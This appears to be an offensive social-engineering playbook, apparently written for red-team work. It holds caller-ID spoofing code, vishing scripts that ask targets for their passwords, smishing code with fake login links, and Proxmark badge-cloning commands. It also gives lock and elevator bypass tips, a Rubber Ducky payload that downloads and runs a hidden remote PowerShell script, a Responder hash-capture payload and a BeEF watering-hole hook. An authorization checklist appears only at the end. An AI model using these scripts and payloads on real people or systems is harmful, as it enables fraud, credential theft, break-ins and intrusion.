offensive-social-engineering

Persona Template:
  Name:           [Realistic for the region and industry]
  Role:           [IT support, vendor account manager, building inspector]
  Organization:   [Real vendor the target uses, or plausible third party]
  Contact Info:   [Burner phone, spoofed email, LinkedIn profile]
  Backstory:      [Why you are calling/visiting today]
  Verification:   [What to say if they try to verify your identity]
  Fallback:       [Graceful exit if the pretext fails]

Example -- IT Support Persona:
  Name:           Mark Chen
  Role:           Senior Support Engineer, Contoso IT Services
  Backstory:      Contoso manages the target's endpoint security.
                  Calling about a critical vulnerability patch that
                  requires the user to verify their credentials on
                  a portal to receive the update.
  Verification:   "You can check our contract reference CON-2024-0847
                  with your procurement team."
  Fallback:       "No problem, I will have your account manager
                  Sarah reach out to coordinate instead."

Authority:
  - Impersonate someone with organizational power (CISO, VP, auditor)
  - Reference internal projects or systems by name
  - Use confident, directive language

Urgency / Scarcity:
  - "This must be resolved before end of business today"
  - "Your account will be locked if we cannot verify now"
  - Artificial deadlines compress the target's decision-making time

Social Proof:
  - "I have already confirmed this with your colleague [name]"
  - "Everyone in your department has completed this step"

Reciprocity:
  - Offer help before making a request ("I fixed that ticket for you")
  - Small favors create obligation

Commitment / Consistency:
  - Get the target to agree to small requests first
  - Escalate to the actual objective after initial compliance

Liking / Rapport:
  - Mirror the target's communication style
  - Find common ground (shared frustrations, industry knowledge)
  - Use their name; reference specifics from OSINT

# Option 1: Twilio for caller ID manipulation
# Register a Twilio account and purchase a local number

pip install twilio

python3 <<'PYEOF'
from twilio.rest import Client

account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

# Place a call with spoofed caller ID
call = client.calls.create(
    to="+1XXXXXXXXXX",        # Target number
    from_="+1XXXXXXXXXX",     # Your Twilio number (displayed)
    url="http://your-server.com/twiml/pretext.xml"  # TwiML script
)
print(f"Call SID: {call.sid}")
PYEOF

# TwiML script for IVR-style pretext
cat <<'XML' > pretext.xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say voice="alice">
        This is an automated message from your IT security team.
        A suspicious login was detected on your account.
        Press 1 to verify your identity and secure your account.
    </Say>
    <Gather numDigits="1" action="/handle-key" method="POST">
        <Say>Press 1 now.</Say>
    </Gather>
</Response>
XML

# Option 2: Asterisk PBX for full control
# Install Asterisk on a VPS
apt-get install asterisk

# Configure a SIP trunk with a VoIP provider that permits
# caller ID passthrough (check provider TOS for compliance)

# extensions.conf -- route outbound calls with custom CallerID
cat <<'CONF' >> /etc/asterisk/extensions.conf
[outbound-spoof]
exten => _X.,1,Set(CALLERID(num)=2125551234)
exten => _X.,n,Set(CALLERID(name)=TargetCorp IT)
exten => _X.,n,Dial(SIP/trunk/${EXTEN})
exten => _X.,n,Hangup()
CONF

asterisk -rx "dialplan reload"

Opening:
  "Hi, this is Mark from IT support. Am I speaking with [target name]?
   Great -- I am calling because we detected some unusual activity
   on your account this morning and I need to verify a few things
   with you to get it resolved."

Credential Harvesting:
  "I have pulled up your account and I can see the flagged activity.
   To confirm your identity before I can make any changes, could you
   verify the email address on file? ... And the password you are
   currently using, so I can confirm it was not changed by the
   unauthorized party?"

Objection Handling:
  Target: "I should not give my password over the phone."
  Response: "Absolutely, I understand the concern. What I can do
   instead is send you a secure link to reset it. Can you confirm
   the email I should send that to? I will stay on the line while
   you complete it."
   [Send EvilGinx2 link via email during the call]

Escalation to Manager:
  "If you would prefer, I can have my supervisor call you back.
   Let me transfer you to our team lead."
   [Transfer to another operator playing the supervisor role]

Common IVR reconnaissance:
  - Dial the main number and explore all menu options
  - Try pressing 0, #, or * at any prompt for operator/admin access
  - Enter default PINs: 0000, 1234, 9999, the last four of the main number
  - Listen for system identification (Cisco Unity, Avaya, Mitel)
  - Check for voicemail systems accessible via external dial-in
  - Test for DTMF injection during hold music or transfer sequences

# Twilio SMS with link tracking
from twilio.rest import Client

client = Client("ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "auth_token")

targets = [
    ("+1XXXXXXXXXX", "John"),
    ("+1XXXXXXXXXX", "Sarah"),
]

for number, name in targets:
    message = client.messages.create(
        body=f"Hi {name}, your VPN certificate expires today. "
             f"Renew now to avoid losing access: "
             f"https://vpn-targetcorp.com/renew?u={name.lower()}",
        from_="+1XXXXXXXXXX",  # Your Twilio number
        to=number
    )
    print(f"Sent to {name}: {message.sid}")

IT / Security:
  "TargetCorp Security Alert: Unusual login detected from
   [city]. Verify your identity: https://secure-targetcorp.com/verify"

HR / Benefits:
  "[TargetCorp] Open enrollment deadline extended to Friday.
   Review your benefits selections: https://benefits-portal.com/enroll"

Delivery / Package:
  "USPS: Your package requires address confirmation before
   delivery. Confirm here: https://usps-verify.com/confirm"

MFA Push Fatigue (combined with credential stuffing):
  Send repeated MFA push notifications, then SMS:
  "TargetCorp IT: We are seeing repeated MFA prompts on your
   account. If this is not you, approve the next prompt so we
   can reset and secure your account."

Tailgating Approaches:
  - Hands full: Carry boxes, a laptop bag, and coffee. People
    hold doors for someone whose hands are full.
  - Smoking area: Join employees at the smoking area and walk
    back in with them. No badge tap needed.
  - Delivery persona: Wear a delivery uniform, carry a package
    addressed to someone inside. "I just need to drop this off."
  - Timing: Enter during high-traffic periods (8:30-9:00 AM,
    lunch return at 1:00 PM) when door-holding is routine.

Physical Appearance:
  - Dress code matters. Match the environment.
  - Corporate office: Business casual, lanyard with a badge
    (even a blank one -- people see the lanyard, not the badge).
  - Data center: Polo shirt, cargo pants, tool belt.
  - Construction/maintenance: Hi-vis vest, hard hat, clipboard.

# Proxmark3 -- Read a low-frequency HID ProxCard
proxmark3> lf hid read
# Output: TAG ID: 2004XXXXXXXX

# Clone to a T5577 writable card
proxmark3> lf hid clone -r 2004XXXXXXXX

# For iCLASS (high-frequency) systems
proxmark3> hf iclass read
# May require key recovery:
proxmark3> hf iclass loclass
# Then clone with recovered keys

# For MIFARE Classic (common in many badge systems)
proxmark3> hf mf autopwn
# Dumps all sectors; clone to a MIFARE Classic compatible card
proxmark3> hf mf cload -f dump.eml

Badge Capture Techniques:
  - Long-range reader: Place a concealed reader near an entry
    point or elevator. Low-frequency cards can be read at 1-3
    feet without the cardholder's knowledge.
  - Social approach: "Hey, can I see your badge for a second?
    I think we have the same model and mine stopped working."
  - Photography: Badge numbers are sometimes printed on the
    face of the card. A telephoto lens from across a parking
    lot can capture them.

Common Bypass Methods:
  - Lock picking: Rake or single-pin pick standard pin tumbler
    locks. Most commercial door locks are pickable in under
    60 seconds with practice.
  - Bump keys: Pre-cut keys that open pin tumbler locks via
    percussive force. Fast and low-skill.
  - Shims: Bypass padlocks by inserting a thin metal shim
    between the shackle and the locking mechanism.
  - Under-door tools: Slide a tool under the door to reach
    the interior handle or push bar. Works on outward-opening
    doors with gaps.
  - REX sensor triggering: Request-to-exit motion sensors can
    often be triggered through glass doors with a can of
    compressed air (simulates heat) or by reaching through
    gaps with a wire.
  - Elevator manipulation: Many elevator control panels use
    standard fire service keys (FEO-K1 is near-universal in
    the US). Carry one.

# DuckyScript payload -- reverse shell via PowerShell
# Saved as inject.bin on the Rubber Ducky microSD

DELAY 1000
GUI r
DELAY 500
STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('https://cdn.attacker.com/shell.ps1'))"
ENTER
DELAY 100

# Bash Bunny payload -- credential harvesting via Responder
# payload.txt in switch position 1

ATTACKMODE ECM_ETHERNET HID
LED SETUP

# Wait for network interface
QUACK DELAY 3000

# Start Responder on the Bash Bunny's network interface
python3 /tools/responder/Responder.py -I usb0 -wrfb &

# Wait for hashes
LED ATTACK
sleep 60

# Exfiltrate captured hashes
LED CLEANUP
cp /tools/responder/logs/* /root/udisk/loot/
LED FINISH

sync

O.MG Deployment Scenarios:
  - Replace a charging cable at the target's desk during a
    physical assessment. The cable charges the device normally
    while providing covert access.
  - Leave "branded" cables in common areas: conference rooms,
    reception desks, break rooms.
  - Mail a cable to the target as a "promotional gift" or
    "replacement for a recalled product."

O.MG Capabilities:
  - Keystroke injection (like Rubber Ducky, but wireless trigger)
  - Keylogging (captures everything typed through the cable)
  - Wi-Fi command and control (connect to the implant's AP)
  - Geofencing (auto-trigger payloads based on Wi-Fi proximity)
  - Self-destruct (wipe payload remotely)

1. Identify target browsing habits via OSINT:
   - Industry forums and blogs
   - Vendor portals and documentation sites
   - Regional news sites popular with the target demographic
   - Professional association websites

2. Assess candidate sites for vulnerabilities:
   - XSS (inject malicious JavaScript without full compromise)
   - CMS vulnerabilities (WordPress, Drupal, Joomla)
   - Third-party widget compromise (analytics, chat, ads)

3. Deploy selective exploitation:
   - Serve exploits only to IP ranges belonging to the target org
   - Use browser fingerprinting to target specific OS/browser combos
   - Redirect to benign content for non-target visitors

4. Example: Inject BeEF hook into a compromised industry blog

// BeEF hook injection on a compromised watering hole site
// Injected into the site's footer or a third-party JS include
// Targets only the victim organization's IP range

(function() {
    var targetRanges = ["203.0.113.", "198.51.100."];
    // IP check via WebRTC or server-side logic
    // If target IP matches, load BeEF hook:
    var s = document.createElement("script");
    s.src = "https://attacker-beef.com/hook.js";
    document.body.appendChild(s);
})();

# LinkedIn scraping for employee enumeration
# Use linkedin2username for email format derivation
python3 linkedin2username.py -u user@email.com -c "TargetCorp" -s 1000

# theHarvester for multi-source OSINT
theHarvester -d targetcorp.com -b all -l 500

# Recon-ng for structured intelligence gathering
recon-ng
[recon-ng] > marketplace install all
[recon-ng] > modules load recon/companies-contacts/bing_linkedin_cache
[recon-ng] > options set SOURCE "TargetCorp"
[recon-ng] > run

# CrossLinked for LinkedIn enumeration without API
python3 crosslinked.py -f '{first}.{last}@targetcorp.com' "TargetCorp"

Map the organization to identify:

  Reporting Structure:
    - Who reports to whom (LinkedIn, press releases, org charts)
    - Key decision-makers and their assistants
    - New hires (less likely to question unusual requests)

  Communication Patterns:
    - Internal tools (Slack, Teams, Zoom -- visible in job postings)
    - Vendor relationships (partner pages, case studies)
    - Email format (first.last, flast, firstl -- verify via SMTP)

  Physical Security:
    - Office locations (Google Maps, Street View for entry points)
    - Badge type (photos on social media, Glassdoor)
    - Visitor procedures (call the front desk and ask)
    - Delivery schedules (observe loading docks)

  Technology Stack:
    - Job postings reveal internal tools and infrastructure
    - DNS records, SSL certificates, Shodan results
    - GitHub/GitLab public repositories from employees

PRE-ENGAGEMENT
  [ ] Written authorization covers all planned vectors (vishing, physical, USB)
  [ ] Legal review of jurisdiction-specific laws (recording consent, trespass)
  [ ] Rules of engagement define escalation limits and safety words
  [ ] Personas and pretexts developed and rehearsed
  [ ] Infrastructure ready: VoIP numbers, SMS gateway, cloned badges, USB devices
  [ ] Emergency contact list (client POC, legal, physical safety)

EXECUTION - REMOTE
  [ ] Vishing calls recorded (where legally permitted) with timestamps
  [ ] Smishing messages sent and tracked
  [ ] All credential captures documented immediately
  [ ] Stop criteria monitored (do not exceed authorized scope)

EXECUTION - PHYSICAL
  [ ] Carry authorization letter at all times during physical assessment
  [ ] Photograph or video evidence of access achieved (where permitted)
  [ ] Do not damage property, alarm occupants, or create safety hazards
  [ ] If challenged and pretext fails, present authorization letter immediately
  [ ] Log entry/exit times for every facility accessed

POST-ENGAGEMENT
  [ ] All planted devices (USB, O.MG cables) recovered or accounted for
  [ ] Cloned badges destroyed
  [ ] VoIP numbers and SMS accounts decommissioned
  [ ] Findings compiled: what worked, what was caught, what was missed
  [ ] Recommendations: procedural controls, awareness training, physical upgrades